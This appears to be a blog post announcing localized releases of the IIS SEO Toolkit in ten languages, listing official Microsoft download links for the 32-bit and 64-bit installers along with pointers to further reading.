    IIS SEO Toolkit Available in 10 Languages

    • 2 Comments

    A couple of months ago I blogged about the release of the v1.0.1 of the IIS Search Engine Optimization Toolkit. In March we released the localized versions of the SEO Toolkit so now it is available in 10 languages: English, Japanese, French, Russian, Korean, German, Spanish, Chinese Simplified, Italian and Chinese Traditional.

    Here are all the direct links to download it.

    Name Language Download URL
    IIS SEO Toolkit 32bit english http://download.microsoft.com/download/A/C/A/ACA8D740-A59D-4D25-A2D5-1DCFD1D9A01F/IISSEO_x86.msi
    IIS SEO Toolkit 64bit english http://download.microsoft.com/download/A/C/A/ACA8D740-A59D-4D25-A2D5-1DCFD1D9A01F/IISSEO_amd64.msi
    IIS SEO Toolkit 32bit ja-jp http://download.microsoft.com/download/3/6/1/36179752-3497-4C2C-B2C5-9B4FA14EAC3A/IISSEO_x86_ja-JP.msi
    IIS SEO Toolkit 64bit ja-jp http://download.microsoft.com/download/3/6/1/36179752-3497-4C2C-B2C5-9B4FA14EAC3A/IISSEO_amd64_ja-JP.msi
    IIS SEO Toolkit 32bit fr-fr http://download.microsoft.com/download/D/C/5/DC576407-7273-412C-9AC8-AE78E4CFE017/IISSEO_x86_fr-FR.msi
    IIS SEO Toolkit 64bit fr-fr http://download.microsoft.com/download/D/C/5/DC576407-7273-412C-9AC8-AE78E4CFE017/IISSEO_amd64_fr-FR.msi
    IIS SEO Toolkit 32bit ru-ru http://download.microsoft.com/download/8/6/A/86A0BCE1-419F-4550-968E-A8E5A8467B32/IISSEO_x86_ru-RU.msi
    IIS SEO Toolkit 64bit ru-ru http://download.microsoft.com/download/8/6/A/86A0BCE1-419F-4550-968E-A8E5A8467B32/IISSEO_amd64_ru-RU.msi
    IIS SEO Toolkit 32bit ko-kr http://download.microsoft.com/download/F/8/6/F8654213-40C6-4706-9128-536A6A4BC570/IISSEO_x86_ko-KR.msi
    IIS SEO Toolkit 64bit ko-kr http://download.microsoft.com/download/F/8/6/F8654213-40C6-4706-9128-536A6A4BC570/IISSEO_amd64_ko-KR.msi
    IIS SEO Toolkit 32bit de-de http://download.microsoft.com/download/1/8/1/1813318E-6358-4BDC-B148-C1826A74994D/IISSEO_x86_de-DE.msi
    IIS SEO Toolkit 64bit de-de http://download.microsoft.com/download/1/8/1/1813318E-6358-4BDC-B148-C1826A74994D/IISSEO_amd64_de-DE.msi
    IIS SEO Toolkit 32bit es-es http://download.microsoft.com/download/1/6/6/166C82C0-4B72-4282-9A86-47C85CE7E20C/IISSEO_x86_es-ES.msi
    IIS SEO Toolkit 64bit es-es http://download.microsoft.com/download/1/6/6/166C82C0-4B72-4282-9A86-47C85CE7E20C/IISSEO_amd64_es-ES.msi
    IIS SEO Toolkit 32bit zh-cn http://download.microsoft.com/download/D/6/C/D6C6DE59-2EE8-4DD3-9E30-739A5BE42F3C/IISSEO_x86_zh-CN.msi
    IIS SEO Toolkit 64bit zh-cn http://download.microsoft.com/download/D/6/C/D6C6DE59-2EE8-4DD3-9E30-739A5BE42F3C/IISSEO_amd64_zh-CN.msi
    IIS SEO Toolkit 32bit it-it http://download.microsoft.com/download/6/1/F/61FC149C-A950-40F4-9795-F3D4F2115721/IISSEO_x86_it-IT.msi
    IIS SEO Toolkit 64bit it-it http://download.microsoft.com/download/6/1/F/61FC149C-A950-40F4-9795-F3D4F2115721/IISSEO_amd64_it-IT.msi
    IIS SEO Toolkit 32bit zh-tw http://download.microsoft.com/download/6/1/F/61FC149C-A950-40F4-9795-F3D4F2115721/IISSEO_x86_zh-TW.msi
    IIS SEO Toolkit 64bit zh-tw http://download.microsoft.com/download/6/4/0/64067386-3BF6-493E-B7DB-4423839C316B/IISSEO_amd64_zh-TW.msi

    Here is a screenshot of how the SEO Toolkit running in Spanish.

    seo-toolkit-in-spanish

    If you want to read the download files in the Microsoft Download Center you can click the links below:

    IIS Search Engine Optimization Toolkit - 32bit ja-jp
    IIS Search Engine Optimization Toolkit - 32bit fr-fr
    IIS Search Engine Optimization Toolkit - 32bit ru-ru
    IIS Search Engine Optimization Toolkit - 32bit ko-kr
    IIS Search Engine Optimization Toolkit - 32bit de-de
    IIS Search Engine Optimization Toolkit - 32bit es-es
    IIS Search Engine Optimization Toolkit - 32bit zh-cn
    IIS Search Engine Optimization Toolkit - 32bit it-it
    IIS Search Engine Optimization Toolkit - 32bit zh-tw

    To learn more about the SEO Toolkit you can visit:

    http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx

    http://www.iis.net/expand/SEOToolkit

    And for any help or provide us feedback you can do that in the IIS.NET SEO Forum.

Page 5 of 10 (91 items) «34567»